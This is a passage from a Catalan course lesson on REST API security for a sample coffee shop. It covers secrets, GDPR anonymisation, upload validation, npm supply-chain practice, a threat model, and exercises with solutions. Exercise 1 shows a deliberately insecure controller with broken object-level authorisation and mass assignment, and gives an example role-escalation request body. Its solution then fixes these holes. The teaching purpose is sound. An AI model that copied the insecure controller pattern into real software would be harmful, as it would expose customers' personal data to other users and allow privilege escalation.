  NODE_ENV: z.enum(['desenvolupament', 'prova', 'produccio']),
  JWT_SECRET: z.string().min(32, 'JWT_SECRET ha de tenir com a mínim 32 caràcters'),
  WEBHOOK_HMAC_SECRET: z.string().min(32),
  // ...
}).superRefine((valors, ctx) => {
  const febles = ['secret', 'canviam', 'test', 'dev'];
  if (valors.NODE_ENV === 'produccio' && febles.some((d) => valors.JWT_SECRET.includes(d))) {
    ctx.addIssue({ code: 'custom', message: 'JWT_SECRET sembla un valor d\'exemple.' });
  }
});

Que el procés no arrenqui és el correcte: una fallada sorollosa en desplegar és infinitament millor que un sistema funcionant amb un secret d'exemple.

Gestors de secrets. En producció, les variables d'entorn s'omplen des d'un gestor —HashiCorp Vault, AWS Secrets Manager, Google Secret Manager, Azure Key Vault— que aporta el que un fitxer no pot: control d'accés per identitat, auditoria de qui va llegir què i quan, versionat i rotació.

Rotació. Un secret ha de poder canviar-se sense tallar el servei, i això obliga a acceptar-ne dos alhora durant la transició. Per a la signatura de JWT: se signa amb la clau nova i s'accepta la verificació amb la nova i l'anterior fins que caduquin tots els tokens emesos (15 minuts amb la nostra configuració). Dissenyar el codi per admetre una llista de claus de verificació, en comptes d'una de sola, és el que fa possible la rotació; a 04-03 veuràs que OAuth resol això de manera nativa amb el kid i el JWKS.

Si un secret es filtra, l'ordre importa i cal tenir-lo escrit abans de necessitar-lo:

  1. Rotar primer, investigar després. El secret filtrat es revoca ja.
  2. Invalidar el que se'n deriva: tots els tokens signats amb aquella clau, totes les sessions.
  3. Revisar els accessos als logs des de la data probable de la fuita.
  4. Esborrar de l'historial de Git (git filter-repo) i forçar la reescriptura — però assumint que el secret ja és públic: si va estar en un repositori, es considera compromès per sempre.
  5. Notificar segons escaigui; si hi ha dades personals implicades, hi ha terminis legals (apartat 14).
  6. Afegir la detecció: un escàner de secrets a la integració contínua (gitleaks, trufflehog) perquè no torni a passar.

  1. Dades personals i RGPD

La Botiga Aroma emmagatzema nom, correu, adreça d'enviament i historial de compres. Tot això són dades personals i el seu tractament està regulat a la UE pel RGPD. No és matèria d'aquesta lliçó esgotar la norma, però sí conèixer les conseqüències tècniques directes, perquè afecten el disseny de l'API.

Advertiment. El que segueix són implicacions tècniques habituals, no assessorament jurídic. Qualsevol sistema que tracti dades personals reals necessita revisió de compliment normatiu per part de qui correspongui a la teva organització.

Principi Implicació tècnica a la Botiga Aroma
Minimització No demanis la data de naixement si no la fas servir. Cada camp que no reculls és un camp que no pots filtrar
Limitació de la finalitat Les dades de la comanda no es fan servir per a una altra cosa sense base legal
Limitació del termini Comandes i adreces tenen data de retenció; hi ha un procés que esborra
Integritat i confidencialitat TLS en trànsit, xifratge en repòs, accés per rol
Responsabilitat proactiva Registre d'accessos a dades personals, auditable
Dret d'accés i portabilitat Un procés capaç d'exportar tot el d'un client
Dret de supressió Vegeu més avall: xoca amb l'esborrat lògic
Notificació de bretxes Procediment i terminis definits abans de l'incident

No registrar dades sensibles als logs. És el punt on més es falla, perquè els logs es copien, s'envien a serveis externs i es conserven molt de temps. Mai no hi han d'aparèixer contrasenyes, tokens, la capçalera Authorization, números de targeta, adreces postals completes ni correus en clar. La redacció automàtica i el detall de què es registra ho implementarem a 04-07; convé saber ja que és un requisit legal i no només una bona pràctica.

Xifratge en repòs. El fitxer SQLite, les còpies de seguretat i els bolcats han d'estar xifrats a nivell de disc o de fitxer. Una còpia de seguretat sense xifrar en un bucket mal configurat és una de les causes més freqüents de bretxa.

El dret de supressió davant de l'esborrat lògic. Aquí hi ha un xoc real que cal resoldre conscientment. A 03-05 vam fer servir actiu = 0 per a l'esborrat lògic, perquè ens permet conservar la integritat referencial: una comanda apunta a un client i no pot quedar òrfena. Però "marcar com a inactiu" no és esborrar a efectes del RGPD.

La solució habitual és l'anonimització o pseudonimització selectiva: el registre sobreviu com a entitat comptable, però deixa d'identificar ningú.

// src/serveis/clients.js
export async function exercirDretSupressio(clientId) {
  return db.transaction(() => {
    // 1. S'anonimitzen els identificadors directes.
    repositoris.clients.anonimitzar(clientId, {
      nom: 'Client eliminat',
      email: `esborrat+${clientId}@invalid.example`,   // .invalid mai no es resol
      telefon: null,
      hash_contrasenya: null,
      anonimitzat_el: new Date().toISOString(),
    });

    // 2. Es netegen les dades personals incrustades a les comandes,
    //    conservant els imports: hi ha obligació fiscal de desar-los.
    repositoris.comandes.anonimitzarAdrecesDe(clientId);

    // 3. Ressenyes: es conserva el text, es deslliga l'autor.
    repositoris.ressenyes.deslligarAutor(clientId);

    // 4. Es revoquen totes les sessions i refresh tokens.
    repositoris.sessions.revocarTotesDe(clientId);
  })();
}

Els comentaris assenyalen la tensió de fons: l'obligació fiscal de conservar factures durant anys coexisteix amb el dret de supressió, i es resol conservant la dada econòmica i eliminant la identificativa. La decisió concreta de què es conserva i quant temps no és tècnica: requereix revisió de compliment normatiu. El que sí que és responsabilitat tècnica és que el sistema pugui fer-ho: si el disseny no contempla l'anonimització des del principi, complir després és caríssim. I no oblidis les còpies de seguretat i els logs: si conserves còpies un any, la dada continua allà; cal documentar la política de retenció.

  1. Pujada d'imatges de cafè

POST /v1/cafes/{id}/imatge accepta un fitxer. Tota pujada és entrada no fiable i, a més, una entrada que es servirà després a altres usuaris.

Control Regla a la Botiga Aroma Per què
Mida màxima 2 MB Disponibilitat i cost
Nombre per petició 1 Evita amplificació
Tipus permesos image/jpeg, image/png, image/webp Llista blanca tancada
Verificació real Llegir els magic bytes, no refiar-se del Content-Type El client menteix
Nom del fitxer Generat pel servidor (caf_001-a3f9.webp) Evita traversal i col·lisions
Ubicació Fora de l'arrel del servidor, en emmagatzematge d'objectes Un .php o .js pujat no s'executa
Servit des de Domini diferent (imatges.botigaaroma.example) Aïlla del domini de l'API
Reprocessament Recodificar la imatge abans de desar-la Elimina metadades i càrregues útils
Metadades EXIF S'eliminen Poden contenir coordenades GPS

La verificació per contingut, que és la que gairebé ningú no fa:

// src/serveis/imatges.js
const SIGNATURES = [
  { tipus: 'image/jpeg', bytes: [0xff, 0xd8, 0xff] },
  { tipus: 'image/png',  bytes: [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a] },
  { tipus: 'image/webp', bytes: [0x52, 0x49, 0x46, 0x46] },   // 'RIFF' (+ 'WEBP' al byte 8)
];

export function detectarTipusReal(buffer) {
  for (const signatura of SIGNATURES) {
    const coincideix = signatura.bytes.every((b, i) => buffer[i] === b);
    if (coincideix) return signatura.tipus;
  }
  return null;
}

export function validarImatge(buffer, tipusDeclarat) {
  const tipusReal = detectarTipusReal(buffer);
  if (!tipusReal) throw errors.dadesInvalides('El fitxer no és una imatge vàlida.');
  if (tipusReal !== tipusDeclarat) {
    // Discrepància entre allò declarat i el contingut real: senyal d'intent d'evasió.
    throw errors.dadesInvalides('El contingut no coincideix amb el tipus declarat.');
  }
  return tipusReal;
}

Els magic bytes són la signatura binària del format al principi del fitxer. Comprovar-los impedeix el truc clàssic de pujar un executable o un HTML amb extensió .jpg i Content-Type: image/jpeg.

Tot i així, la defensa més forta no és la detecció sinó el reprocessament: passar la imatge per una llibreria que la descodifiqui i la torni a codificar (per exemple sharp) produeix un fitxer nou que no conserva res del que hi hagués amagat a dins, i de passada elimina els EXIF. Si la pujada es fa directament a un emmagatzematge d'objectes amb URL presignada, el fitxer ni tan sols passa per la teva API, cosa que encara és millor per a la disponibilitat.

  1. Dependències i cadena de subministrament

express, zod, better-sqlite3, jsonwebtoken, bcrypt, dotenv, i ara helmet. Cadascuna n'arrossega les seves: l'arbre real són centenars de paquets, tots executant-se amb els permisos del teu procés.

# 1. Vulnerabilitats conegudes a l'arbre de dependències.
npm audit

# 2. Només les greus, i amb codi de sortida diferent de 0 per a la CI.
npm audit --audit-level=high

# 3. Corregeix el que es pugui sense canvis incompatibles.
npm audit fix

# 4. Instal·lació reproduïble a CI: respecta package-lock.json exactament.
npm ci

# 5. Què hi ha realment instal·lat i per què.
npm ls jsonwebtoken

Les pràctiques que importen:

  • package-lock.json versionat i npm ci a la integració contínua. Sense ell, dues instal·lacions del mateix commit poden portar codi diferent.
  • Actualitzar de manera contínua, no en una migració anual: deu actualitzacions petites costen menys que una de gran, i les grans es posposen.
  • Reduir el nombre de dependències. La pregunta abans d'instal·lar és si el problema es resol amb la biblioteca estàndard de Node, que avui inclou crypto, fetch, test i AbortSignal.
  • Fixar versions de manera assenyada: rangs estrets i actualitzacions revisades, amb Dependabot o Renovate obrint pull requests que passen per les teves proves.
  • Desconfiar dels scripts d'instal·lació. Un postinstall maliciós s'executa en instal·lar, abans que revisis res. npm ci --ignore-scripts és una opció quan és viable.
  • Vigilar el typosquatting: expres, lodahs, node-fetchh. Copiar i enganxar el nom des de la documentació oficial evita la classe sencera.

L'atac de cadena de subministrament és avui el vector de moda precisament perquè no requereix vulnerar el teu codi: n'hi ha prou de comprometre el d'un altre que tu executes.

  1. Model d'amenaces lleuger de la Botiga Aroma

Un model d'amenaces no cal que sigui un document de cent pàgines. La versió útil cap en una taula i es revisa cada trimestre: actiu → amenaça → defensa → on està implementada.

Actiu Amenaça Impacte Defensa On
Dades de comandes BOLA: llegir comandes alienes Alt (RGPD) Comprovació de propietat al servei + 404 src/serveis/comandes.js
Dades de clients Exposició excessiva Alt (RGPD) Mapejador amb llista blanca src/serveis/mapejadors.js
Comptes Força bruta al login Alt bcrypt + límit per IP i correu 03-06 / 04-04
Comptes Escalada per assignació massiva Crític Zod .strict() + req.dadesValidades src/esquemes/*.js
Tokens Robatori en trànsit Crític TLS obligatori + HSTS Infraestructura + helmet
Tokens Falsificació (alg:none) Crític algorithms: ['HS256'] fix src/middleware/autenticacio.js
Catàleg Scraping massiu Mitjà Rate limiting + paginació 04-04
Base de dades Injecció SQL Crític Sentències preparades + llista blanca a ordenar src/repositoris/*.js
Disponibilitat Cossos i pàgines gegants Mitjà limit: 100kb, limit màx. 100 src/app.js, 03-03
Xarxa interna SSRF per URL d'imatge Alt Llista blanca de dominis, sense redireccions, IP no privada src/serveis/descarregues.js
Emmagatzematge Fitxer maliciós pujat Alt Magic bytes + recodificació + domini a part src/serveis/imatges.js
Secrets Fuita pel repositori Crític .gitignore, gestor de secrets, escàner a CI Desplegament
Webhooks Suplantació de RàpidEnviaments Alt HMAC-SHA256 + Aroma-Esdeveniment-Id antireplay Servei de webhooks
Superfície Endpoints oblidats Alt Inventari + openapi.yaml com a font única Procés
Dependències Paquet compromès Crític npm ci, npm audit, revisió d'actualitzacions CI
Navegador Origen no autoritzat Mitjà CORS amb llista blanca 04-05
Logs Dades personals registrades Alt (RGPD) Redacció automàtica de camps sensibles 04-07

Com es fa servir: quan afegeixes una funcionalitat, hi afegeixes les seves files. Si una fila no té una casella "on" concreta, aquella defensa no existeix; és una intenció. I si una fila d'impacte crític té la casella buida, aquesta és la teva feina següent, abans que qualsevol funcionalitat nova.

Errors Comuns i Consells

Confondre autenticació amb autorització. "Té un token vàlid" només respon qui és. La pregunta què pot fer amb aquest objecte concret es respon a cada petició, i la seva absència és la vulnerabilitat número u.

Validar a la SPA i no a l'API. La validació del client és usabilitat. L'API és l'únic punt on la validació és una defensa.

Posar helmet al final de la cadena. Les capçaleres no apareixerien a les respostes generades per middlewares anteriors, que són justament els errors.

Retornar 403 en recursos aliens. Confirma l'existència i permet enumerar. 404 llevat que el recurs sigui públic.

Creure que .strict() n'hi ha prou si després fas servir req.body. La validació només protegeix si consumeixes l'objecte validat.

Desar el .env al repositori "només un moment". L'historial de Git és per sempre; el secret queda compromès encara que l'esborris al commit següent.

Refiar-se del Content-Type d'una pujada. L'escriu el client. Només el contingut real compta.

Registrar la petició completa "per depurar". És la manera més ràpida de ficar contrasenyes i tokens en un sistema de logs amb retenció d'un any.

Consell: ataca la teva pròpia API. Reserva mitja hora, agafa un token de cli_842 i prova sistemàticament: identificadors aliens, camps de més, mètodes no previstos, valors extrems. Gairebé sempre apareix alguna cosa.

Consell: converteix cada vulnerabilitat trobada en una prova. Una vulnerabilitat arreglada sense prova torna al cap de sis mesos, quan algú refactoritza el servei.

Consell: la seguretat és en capes. Cap defensa d'aquesta lliçó no és suficient per si sola. Els identificadors opacs no substitueixen la comprovació de propietat, i helmet no substitueix el TLS.

Exercicis

Exercici 1: trobar tres vulnerabilitats

Aquest controlador s'ha proposat per al nou endpoint GET /v1/clients/{id} i PATCH /v1/clients/{id}. Identifica almenys tres vulnerabilitats diferents de l'OWASP API Top 10, anomena-les amb la seva categoria i corregeix-les.

// src/controladors/clients.js
router.get('/:id', autenticar, asincron(async (req, res) => {
  const client = await repositoris.clients.buscarPerId(req.params.id);
  if (!client) return res.status(404).json({ error: { codi: 'no_trobat' } });
  res.json(client);
}));

router.patch('/:id', autenticar, asincron(async (req, res) => {
  const actualitzat = await repositoris.clients.actualitzar(req.params.id, req.body);
  res.json(actualitzat);
}));

Exercici 2: configurar helmet per al tauler

El tauler intern (https://panel.botigaaroma.example) necessita mostrar en un <img> les imatges de cafè que serveix l'API. Amb la configuració de helmet de l'apartat 12, la imatge no carrega. Explica quina capçalera ho impedeix i proposa l'ajust, raonant per què no compromet la seguretat dels endpoints JSON.

Exercici 3: model d'amenaces d'un endpoint nou

S'hi afegirà POST /v1/clients/{id}/exportacio, que genera un fitxer amb totes les dades personals del client (dret d'accés del RGPD) i retorna un enllaç de descàrrega. Escriu les files del model d'amenaces d'aquest endpoint: almenys quatre amenaces amb la seva defensa i on s'implementaria.

Solucions

Solució 1

Vulnerabilitats:

  1. API1 (BOLA) al GET: qualsevol client autenticat llegeix les dades de qualsevol altre. Falta la comprovació de propietat.
  2. API3 (exposició excessiva): res.json(client) retorna la fila sencera, inclosos hash_contrasenya, rol, actiu i qualsevol columna futura.
  3. API3 / assignació massiva al PATCH: req.body va directe al repositori, així que un client pot enviar {"rol":"administrador"} o {"actiu":true}.
  4. API1 un altre cop al PATCH: tampoc no comprova propietat; un client edita un altre.
  5. Extra: el 404 es construeix a mà i no segueix el format del catàleg (detalls absent), trencant el contracte de 03-07.

Correcció:

// src/controladors/clients.js
router.get(
  '/:id',
  autenticar,
  asincron(async (req, res) => {
    // El servei comprova propietat i llança 404 si no escau (no 403).
    const client = await serveis.clients.obtenir(req.params.id, req.usuari);
    // El mapejador decideix quins camps veu qui pregunta.
    res.json(mapejadors.aClientSegonsRol(client, req.usuari));
  })
);

router.patch(
  '/:id',
  autenticar,
  validar(esquemaActualitzarClient, 'body'),   // .strict(): nom, telefon, adreca
  asincron(async (req, res) => {
    const actualitzat = await serveis.clients.actualitzar(
      req.params.id,
      req.dadesValidades,      // ← mai req.body
      req.usuari               // ← el servei comprova propietat
    );
    res.json(mapejadors.aClientSegonsRol(actualitzat, req.usuari));
  })
);
// src/esquemes/clients.js
export const esquemaActualitzarClient = z
  .object({
    nom: z.string().min(2).max(80).optional(),
    telefon: z.string().max(20).optional(),
    adreca: z.string().max(200).optional(),
  })
  .strict();     // rol, actiu, saldo o versio → 400 dades_invalides

I una prova que fixa l'arranjament:

it('un client no pot llegir les dades d\'un altre', async () => {
  const r = await request(app)
    .get('/v1/clients/cli_001')
    .set('Authorization', `Bearer ${tokenDeMarta}`);
  assert.equal(r.status, 404);            // 404, no 403: no confirma existència
});

Solució 2

La capçalera responsable és Cross-Origin-Resource-Policy: same-origin, que helmet activa per defecte. Amb aquell valor, el navegador es nega a incrustar la resposta en un document d'un altre origen; el tauler és a panel.botigaaroma.example i la imatge a api.botigaaroma.example, així que són orígens diferents i l'<img> no pinta res.

Ajust:

export const capcaleresSeguretat = helmet({
  // ... la resta igual
  crossOriginResourcePolicy: { policy: 'cross-origin' },
});

Per què no compromet la seguretat dels endpoints JSON: CORP no és un mecanisme d'autorització, sinó una protecció contra atacs de canal lateral basats a incrustar respostes (Spectre i similars). Qui pot llegir el contingut d'una resposta continua estant controlat per dues coses independents: la política CORS (04-05), que decideix quins orígens poden llegir la resposta des de JavaScript, i sobretot l'autorització del servidor, que exigeix un token vàlid amb els permisos adequats. Un atacant que incrusti GET /v1/comandes/com_5001 en una etiqueta <img> no envia l'Authorization, rep un 401 i a més no pot llegir el cos.

Alternativa preferible: servir les imatges des d'un domini propi (imatges.botigaaroma.example) amb la seva pròpia configuració, i mantenir same-origin a l'API. Aïlla millor els dos problemes.

Solució 3

Actiu Amenaça Impacte Defensa On
Dades personals completes BOLA: exportar les dades d'un altre client Crític (bretxa RGPD) Comprovació de propietat; només el mateix client o un administrador amb justificació src/serveis/clients.js
Enllaç de descàrrega Enllaç endevinable o compartible Crític Token d'un sol ús, caducitat de 15 min, lligat al clientId del token Servei d'exportació
Fitxer generat Queda accessible després de la descàrrega Alt Esborrat automàtic a les 24 h; emmagatzematge privat amb URL presignada Emmagatzematge
Disponibilitat Exportacions repetides per saturar la CPU Mitjà Rate limiting específic (1 exportació per client i dia) + procés asíncron amb 202 04-04 / 04-06
Contingut del fitxer Inclou més dades de les degudes (notes internes) Alt Llista blanca explícita de camps exportables, revisada per compliment normatiu Mapejador d'exportació
Logs Es registren les dades exportades Alt Registrar només l'esdeveniment i el clientId, mai el contingut 04-07
Traçabilitat No se sap qui va executar una exportació Mitjà (responsabilitat proactiva) Registre d'auditoria: qui, quan, sobre qui Auditoria
Notificació El titular no sap que es van exportar les seves dades Mitjà Correu automàtic al client en generar l'exportació Servei de notificacions

Nota transversal: en ser un endpoint que materialitza un dret del RGPD, l'abast exacte de les dades incloses i els terminis de conservació del fitxer requereixen validació de compliment normatiu, no només decisió tècnica. I el disseny correcte és asíncron (202 Accepted + recurs d'estat), perquè generar el fitxer pot trigar i no ha d'ocupar una connexió: aquest patró el veurem a 04-06.

Conclusió

La seguretat d'una API no és una capa que s'afegeix, és una propietat que se sosté a cada endpoint. Has recorregut l'OWASP API Security Top 10 sobre la Botiga Aroma i has vist que la majoria de les vulnerabilitats reals són d'autorització: BOLA quan algú llegeix la comanda d'un altre, autorització de funció trencada quan un client crea cafès, exposició excessiva quan el mapejador no filtra, assignació massiva quan req.body arriba al repositori. Has vist per què .strict() de Zod i el mapejador amb llista blanca —decisions que semblaven de qualitat de codi— eren en realitat defenses de primera línia; quines injeccions continuen sent possibles després de les sentències preparades, i com es tanca l'única que quedava oberta amb la llista blanca d'ordenar; com es defensa el transport amb TLS i HSTS, la xarxa interna del SSRF i l'emmagatzematge d'una imatge maliciosa. I has afegit al projecte src/middleware/seguretat.js amb helmet, a la posició 3 de la cadena, abans de qualsevol middleware capaç de respondre.

Queda pendent el que aquest model d'amenaces assenyala com a obert. Comencem per la porta d'entrada: a 04-03, OAuth 2.0 i OpenID Connect a la pràctica, resoldrem com una aplicació de tercers —"CataBox", que vol llegir les comandes d'un client— accedeix a la Botiga Aroma sense conèixer-ne la contrasenya. Veurem els quatre rols del protocol i per què la nostra API és només el servidor de recursos; els àmbits cafes.llegir, comandes.llegir, comandes.escriure i ressenyes.moderar; els fluxos vigents amb Authorization Code + PKCE per a la SPA i l'app mòbil, Client Credentials per a RàpidEnviaments i el de refresc; la diferència entre autenticar i autoritzar que aporta OpenID Connect amb el seu id_token; i la validació de tokens amb JWKS i kid —que, no per casualitat, resol de manera nativa el problema de rotació de claus que acabem de plantejar— en un middleware autenticarOAuth que conviurà amb l'autenticar de 03-06.

Curs de REST API: Principis de Disseny i Desenvolupament d'APIs RESTful

Mòdul 1: Introducció a les APIs RESTful

Mòdul 2: Disseny d'APIs RESTful

Mòdul 3: Desenvolupament d'APIs RESTful

Mòdul 4: Bones Pràctiques i Seguretat

Mòdul 5: Eines i Frameworks

Mòdul 6: Casos d'Estudi i Projectes

© Copyright 2026. Tots els drets reservats